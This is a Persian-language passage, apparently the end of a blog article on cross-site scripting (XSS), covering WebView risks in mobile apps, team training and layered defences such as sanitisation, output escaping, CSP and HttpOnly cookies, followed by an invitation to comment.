آیا XSS در اپلیکیشن‌های موبایل رخ می‌دهد؟ بله، XSS در WebView اپلیکیشن‌های موبایل نیز می‌تواند رخ دهد. اگر اپلیکیشن شما از WebView برای نمایش محتوای وب استفاده می‌کند، باید همان اصول دفاعی را رعایت کنید.

چگونه تیم خود را در برابر XSS آموزش دهم؟ با برگزاری جلسات آموزشی منظم، ارائه‌ی راهنمای کدنویسی امن، استفاده از ابزارهای تحلیل خودکار و تشویق به گزارش آسیب‌پذیری‌ها.

XSS یکی از رایج‌ترین و خطرناک‌ترین آسیب‌پذیری‌های وب است که می‌تواند به دزدی داده، جعل هویت و نفوذ کامل منجر شود. دفاع در برابر آن، نیازمند یک استراتژی چندلایه است که شامل پاک‌سازی ورودی، فرار دادن خروجی، CSP، HttpOnly Cookie و تست منظم می‌شود. اگر این اصول را در پروژه‌های خود رعایت کنید، می‌توانید سایت خود را در برابر این حمله مقاوم کنید.

اگر در پروژه‌ای واقعی با چالشی در دفاع در برابر XSS برخورد کرده‌اید — مثلاً یک مورد خاص از DOM-based XSS، یک سناریوی پیچیده در تنظیم CSP، یا تجربه‌ای از کشف یک آسیب‌پذیری در افزونه — برایتان جالب است بدانید که این تجربه‌ها می‌توانند به خواننده‌ی بعدی کمک کنند. به‌خصوص اگر راه‌حل خلاقانه‌ای برای یک مسئله‌ی امنیتی پیدا کرده‌اید. تجربه‌ی خودتان را در دیدگاه‌ها بنویسید؛ چه درباره‌ی روش‌های دفاعی، چه درباره‌ی ابزارهای تست، و چه درباره‌ی اشتباهاتی که در مسیر یادگیری مرتکب شده‌اید و درس ارزشمندی از آن‌ها گرفته‌اید.